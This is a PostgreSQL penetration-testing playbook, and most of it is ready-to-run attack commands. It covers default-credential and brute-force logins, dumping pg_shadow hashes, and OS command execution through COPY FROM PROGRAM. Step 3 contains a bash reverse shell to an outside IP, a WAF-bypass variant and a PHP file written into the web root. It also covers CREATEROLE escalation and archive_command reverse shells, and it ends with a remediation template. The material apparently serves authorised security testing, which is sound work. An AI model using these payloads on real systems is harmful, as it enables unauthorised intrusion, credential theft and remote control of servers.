Pentesting Postgresql

Pentesting PostgreSQL (port 5432)

When to Use

• Default port 5432/tcp (pgsql); if in use, PostgreSQL often falls back to 5433.
• Banner/nmap shows postgresql/pgsql; a \list showing an rdsadmin database means you are on AWS RDS.
• Use with recovered creds, when pg_hba.conf trust auth is suspected, or to escalate from CREATEROLE/superuser to OS command execution.

Quick Enumeration

# Version + scripts
nmap -sV -p5432 <IP>
msfconsole -q -x 'use auxiliary/scanner/postgres/postgres_version; set RHOSTS <IP>; run; exit'

# Connect
psql -h <IP> -U postgres                       # prompts for password
psql -h <IP> -p 5432 -U postgres -d postgres    # specify db
PGPASSWORD=postgres psql -h <IP> -U postgres

-- Inside psql
\list                 -- databases
\du+                  -- roles
SELECT version();
SELECT current_setting('is_superuser');   -- 'on' = superuser

Critical: Checks Most Often Missed

• trust auth / default postgres:postgres — local and sometimes remote connections require no password due to pg_hba.conf trust lines; default creds postgres:postgres are common.
  • How to CONFIRM: PGPASSWORD=postgres psql -h<IP> -U postgres -c 'select version();' succeeds, or psql connects with no password prompt.
• COPY ... FROM PROGRAM OS command execution — superusers and members of pg_execute_server_program can run arbitrary OS commands (PostgreSQL 9.3+). Reported as CVE-2019-9193 but Postgres treats it as a feature.
  • How to CONFIRM: DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(o text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec; returns uid=....
• Server file read/write via COPY and pg_read_*/lo_* — pg_read_server_files/pg_write_server_files members read and write any path; large objects (lo_import/lo_export) handle binary files.
  • How to CONFIRM: CREATE TABLE demo(t text); COPY demo FROM '/etc/passwd'; SELECT * FROM demo; returns the file, or SELECT pg_read_file('/etc/passwd',0,1000);.
• CREATEROLE privilege escalation — a role with CREATEROLE can grant itself membership of pg_execute_server_program/pg_read_server_files/pg_write_server_files and change non-superuser passwords, then reach RCE.
  • How to CONFIRM: GRANT pg_execute_server_program TO "<me>"; succeeds.
• Config-file / extension RCE (as superuser) — overwrite postgresql.conf to abuse ssl_passphrase_command, archive_command, or session_preload_libraries+dynamic_library_path, then pg_reload_conf(); or compile a malicious extension .so and CREATE FUNCTION ... LANGUAGE C.
• dblink blind brute / port scan — connection errors from dblink_connect leak host/port state and auth results.

Workflow

Step 1: Enumerate (roles, privileges, files)

SELECT usename, passwd FROM pg_shadow;                  -- usernames + md5/scram hashes
\du                                                     -- roles & attributes
SELECT current_setting('is_superuser');
SELECT r.rolname, r.rolsuper, r.rolcreaterole, r.rolcreatedb, r.rolcanlogin FROM pg_roles r;
SELECT * FROM pg_extension;                             -- installed extensions

Step 2: Authenticate (trust, default/weak creds, brute force)

PGPASSWORD=postgres psql -h <IP> -U postgres
hydra -L users.txt -P passwords.txt <IP> postgres
nxc postgres <IP> -u users.txt -p passwords.txt
medusa -h <IP> -u postgres -P passwords.txt -M postgresql

Step 3: Exploit / Extract (data dump + COPY PROGRAM RCE / file primitive)

-- Dump data
\c <database>
\dt
SELECT * FROM <table>;

-- OS command execution (superuser or pg_execute_server_program)
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
-- Reverse shell (single quotes doubled to escape)
COPY cmd_exec FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"';

-- WAF-bypass variant inside a DO block (build "COPY" dynamically)
DO $$ DECLARE cmd text; BEGIN
  cmd := CHR(67) || 'OPY cmd_exec FROM PROGRAM ''id''';
  EXECUTE cmd; END $$;

-- File READ
CREATE TABLE demo(t text); COPY demo FROM '/etc/passwd'; SELECT * FROM demo;
SELECT pg_read_file('/etc/passwd', 0, 1000000);
SELECT lo_import('/etc/postgresql/15/main/postgresql.conf');   -- returns an OID

-- File WRITE (one-liner only; COPY cannot do newlines/binary)
COPY (SELECT convert_from(decode('<BASE64>','base64'),'utf-8')) TO '/var/www/html/x.php';

Step 4: Post-access / privilege escalation / pivot

-- CREATEROLE -> grant yourself the powerful built-in roles
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
ALTER USER other_user WITH PASSWORD 'new';        -- reset non-superuser passwords

-- Escalate to SUPERUSER once you have command exec (trust auth on local socket)
COPY (SELECT '') TO PROGRAM 'psql -U postgres -c "ALTER USER me WITH SUPERUSER;"';

• Config RCE (superuser write): set archive_mode='always' + archive_command='<rev shell>', SELECT pg_reload_conf(); SELECT pg_switch_wal(); — or ssl_passphrase_command, or session_preload_libraries+dynamic_library_path='/tmp:$libdir' loading a compiled .so.
• Crack dumped pg_shadow hashes offline (md5 / SCRAM-SHA-256) and reuse against SSH/other services.

Key Concepts

Tools & Systems

Common Scenarios

Scenario 1: Trust auth → command execution

The host allows password-less postgres over TCP. psql -h<IP> -U postgres connects as superuser; COPY cmd_exec FROM PROGRAM 'id' returns command output, proving OS-level RCE.

Scenario 2: CREATEROLE escalation → RCE

A limited app role has CREATEROLE. The tester runs GRANT pg_execute_server_program TO app;, then COPY ... FROM PROGRAM for command execution, then escalates to SUPERUSER via the local trust socket.

Scenario 3: Superuser config RCE

With superuser file-write, the tester overwrites postgresql.conf setting archive_command to a reverse shell, calls pg_reload_conf() and pg_switch_wal(), and receives a shell as the postgres user.

Output Format

## PostgreSQL Finding

**Service**: PostgreSQL
**Port**: 5432/tcp (PostgreSQL 13)
**Severity**: Critical
**Finding**: Superuser access enabling COPY ... FROM PROGRAM command execution
**Evidence**:
  - PGPASSWORD=postgres psql -h<IP> -U postgres -> connected; is_superuser='on'
  - COPY cmd_exec FROM PROGRAM 'id' -> uid=114(postgres) gid=120(postgres)
**Impact**: Full OS command execution as the postgres service account and access to all databases.
**Recommendation**:
  1. Replace `trust` with `scram-sha-256` in pg_hba.conf; set strong unique role passwords.
  2. Bind to localhost or restrict 5432 by firewall; remove default postgres:postgres.
  3. Revoke pg_execute_server_program / pg_read_server_files / pg_write_server_files from non-admin roles.
  4. Avoid granting CREATEROLE broadly; monitor postgresql.conf integrity.